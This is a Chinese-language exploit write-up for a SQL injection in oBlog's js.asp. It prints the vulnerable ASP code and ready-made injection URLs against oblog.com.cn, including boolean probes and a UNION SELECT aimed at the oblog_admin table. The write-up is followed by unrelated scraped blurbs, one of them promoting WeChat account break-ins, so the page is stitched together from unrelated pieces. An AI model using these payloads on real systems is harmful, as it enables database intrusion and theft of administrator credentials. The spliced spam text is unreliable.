漏洞文件:js.asp
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
if n=0 then n=1
select case CInt(Request(”j”))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”
”
Do While Not rs.Eof
sAddon=”"
* sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
If u=1 Then sAddon=rs(4)
if t=1 Then
If sAddon<>“” Then sAddon=sAddon & “,”
sAddon=sAddon & rs(3)
End If
If sAddon<>“” Then sAddon=”(” & sAddon & “)”
sRet=sRet & sAddon & “
”
rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & “
”
Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1
document.write('
本文导读目录: 1、区块链发展趋势如何? 2、区块链技术国家标准什么时候完成? 3、区块链项目分析报告一般包括哪几个板块? 4、区块链那么厉害,黑客为什么还能洗劫巨额数字货币 5、区块...
近日高新科技圈能够说成有点儿繁华啊!前几日起先一加8手机的透視事情,如今来了一个三星手机黑屏。一提及三星手机,大伙儿很有可能想起的是三星的软性曲屏,顶尖的显示屏加工工艺也有全世界第一大的手机制造商...
一般人谈到艺术生,都会以为是比较轻松的选择,但其实艺体生他们需要付出双倍的努力,需要吃更多的苦,才能获得一些比较好的机会。那么你眼中的艺体生是什么样子的 艺体生会比文化生轻松吗?友谊长存小编带来介绍...
全千兆和双千兆路由器有什么不同全千兆和双千兆路由器的区别: 1、支持的频率不同 单千兆支持的频率为2.4G 。双频千兆路由器支持两种频率即2.4G和5G。2.4G相较于5G穿透力较强 ,而...
【文章百度收录网说】发现生活当中的美,分享生活当中的窍门,热烈欢迎大伙儿享受生活。假如微信忘记了账户密码该怎么办?读一下这种号,你就可以立刻登陆了。 怎能黑进他人的微信不被发觉(如何偷上他人的微信)...
因为小红书的流量质量非常高的,成交率高!小红书平台上有大量广告主,极其容易变现,也称为目前最大的风口。小红书的购买力非常强,做互联网的人都需要这种流量资源!越来越多人用小红书引流赚钱。 小红书和其他...